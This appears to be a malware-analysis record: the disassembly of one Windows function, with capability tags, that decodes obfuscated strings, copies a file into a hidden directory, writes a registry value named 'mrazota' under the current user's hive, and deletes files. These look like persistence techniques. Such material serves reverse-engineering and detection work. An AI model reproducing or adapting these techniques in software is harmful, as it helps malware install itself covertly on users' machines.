Function at 0x140001f78
Capabilities:
Create directory
Delete file
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
sub rsp, 0x1e8
mov eax, 2
imul rax, rax, 0x1d
xor ecx, ecx
mov word [rsp + rax + 0x138], cx
mov dword [rsp + 0x50], 0
jmp 0x140001fa6
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0x1d
jae 0x140001fdd
mov eax, dword [rsp + 0x50]
lea rcx, [0x140004280]
movzx eax, word [rcx + rax*2]
mov ecx, dword [rsp + 0x50]
lea rdx, [0x1400043d0]
movzx ecx, word [rdx + rcx*2]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x50]
mov word [rsp + rcx*2 + 0x138], ax
jmp 0x140001f9c
lea rcx, [rsp + 0x138]
call fcn.140002d84
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x1400027b7
lea rcx, [rsp + 0xd8]
call fcn.140001e38
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x1400027ad
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
call fcn.140001db4
test eax, eax
je 0x14000278f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0xa0]
call fcn.1400010ec
cmp qword [rsp + 0x80], 0
je 0x14000278d
lea rdx, [rsp + 0xa8]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14000277f
cmp dword [rsp + 0xac], 0
jne 0x14000277f
mov qword [rsp + 0x68], 0
mov eax, dword [rsp + 0xa8]
mov ecx, eax
call fcn.1400010c8
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
je 0x140002765
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0xa8]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002765
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 2
imul rax, rax, 0x11
xor ecx, ecx
mov word [rsp + rax + 0x110], cx
mov dword [rsp + 0x54], 0
jmp 0x14000214a
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0x11
jae 0x140002181
mov eax, dword [rsp + 0x54]
lea rcx, [0x1400042c0]
movzx eax, word [rcx + rax*2]
mov ecx, dword [rsp + 0x54]
lea rdx, [0x140004450]
movzx ecx, word [rdx + rcx*2]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x54]
mov word [rsp + rcx*2 + 0x110], ax
jmp 0x140002140
mov qword [rsp + 0x48], 0
lea rcx, [rsp + 0x110]
call fcn.140002d84
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140002759
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x140002738
mov edx, 2
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x140002738
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 3
mov edx, 0x40000000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
je 0x140002721
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rsp + 0xa8]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400026f1
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 2
imul rax, rax, 0x2d
xor ecx, ecx
mov word [rsp + rax + 0x180], cx
mov dword [rsp + 0x58], 0
jmp 0x14000228c
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
cmp dword [rsp + 0x58], 0x2d
jae 0x1400022c3
mov eax, dword [rsp + 0x58]
lea rcx, [0x140004370]
movzx eax, word [rcx + rax*2]
mov ecx, dword [rsp + 0x58]
lea rdx, [0x1400042f0]
movzx ecx, word [rdx + rcx*2]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x58]
mov word [rsp + rcx*2 + 0x180], ax
jmp 0x140002282
mov r8d, 0x1000
xor edx, edx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov qword [rsp + 0x98], rax
cmp qword [rsp + 0x98], 0
je 0x1400026d9
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0xf0], 0
mov dword [rsp + 0x5c], 0
jmp 0x140002314
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
cmp dword [rsp + 0x5c], 0xd
jae 0x14000234a
mov eax, dword [rsp + 0x5c]
lea rcx, [0x140004420]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x5c]
lea rdx, [0x140004360]
movsx ecx, byte [rdx + rcx]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x5c]
mov byte [rsp + rcx + 0xf0], al
jmp 0x14000230a
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
cmp qword [rsp + 0xc8], 0
je 0x1400026b3
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, [rsp + 0x180]
mov rcx, 0xffffffff80000001
call qword [rsp + 0xc8]
test eax, eax
jne 0x1400026b3
mov rcx, qword [rsp + 0x40]
call fcn.140001a34
mov qword [rsp + 0x70], rax
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0xe0], 0
mov dword [rsp + 0x60], 0
jmp 0x1400023df
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0xb
jae 0x140002415
mov eax, dword [rsp + 0x60]
lea rcx, [0x140004430]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x60]
lea rdx, str.qPW
movsx ecx, byte [rdx + rcx]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x60]
mov byte [rsp + rcx + 0xe0], al
jmp 0x1400023d5
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0x70], 0
je 0x14000268c
mov rcx, qword [rsp + 0x40]
call fcn.140001e20
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
mov rcx, qword [rsp + 0x70]
lea rax, [rcx + rax*2 - 6]
mov r8d, 6
lea rdx, [0x140004260]
mov rcx, rax
call fcn.140001d5c
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [0x1400041c0]
mov r8d, 0x17
xor edx, edx
lea rcx, [0x1400041f0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x14000265b
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
call qword [rax + 0xa0]
test eax, eax
jl 0x14000261a
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
lea r8, [rsp + 0xb0]
lea rdx, [0x1400041e0]
mov rcx, qword [rsp + 0x78]
call qword [rax]
test eax, eax
jl 0x14000261a
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x30]
test eax, eax
jl 0x1400025e9
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x100], 0
mov dword [rsp + 0x64], 0
jmp 0x140002535
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0xe
jae 0x14000256b
mov eax, dword [rsp + 0x64]
lea rcx, [0x140004410]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x64]
lea rdx, [0x140004350]
movsx ecx, byte [rdx + rcx]
xor eax, ecx
not eax
mov ecx, dword [rsp + 0x64]
mov byte [rsp + rcx + 0x100], al
jmp 0x14000252b
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
je 0x1400025d3
mov eax, dword [rsp + 0x88]
inc eax
mov eax, eax
shl rax, 1
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.mrazota
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xd0]
test eax, eax
je 0x1400025e9
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x70]
call fcn.1400010ec
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xb8]
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb0]
call qword [rax + 0x10]
jmp 0x140002649
mov rcx, qword [rsp + 0x70]
call fcn.1400010ec
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78]
call qword [rax + 0x10]
jmp 0x14000268a
mov rcx, qword [rsp + 0x70]
call fcn.1400010ec
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1400026b1
mov rcx, qword [rsp + 0x90]
call qword [rsp + 0xb8]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x1400026c9
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x1400026ef
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000271f
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140002736
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x14000274d
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x48]
call fcn.1400010ec
jmp 0x140002763
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
jmp 0x14000277d
mov rcx, qword [rsp + 0x68]
call fcn.1400010ec
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000278d
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400027ad
mov rcx, qword [rsp + 0xa0]
call fcn.1400010ec
mov rcx, qword [rsp + 0x40]
call fcn.1400010ec
mov eax, 1
jmp 0x1400027b9
mov rcx, qword [rsp + 0x40]
call fcn.1400010ec
xor eax, eax
add rsp, 0x1e8
ret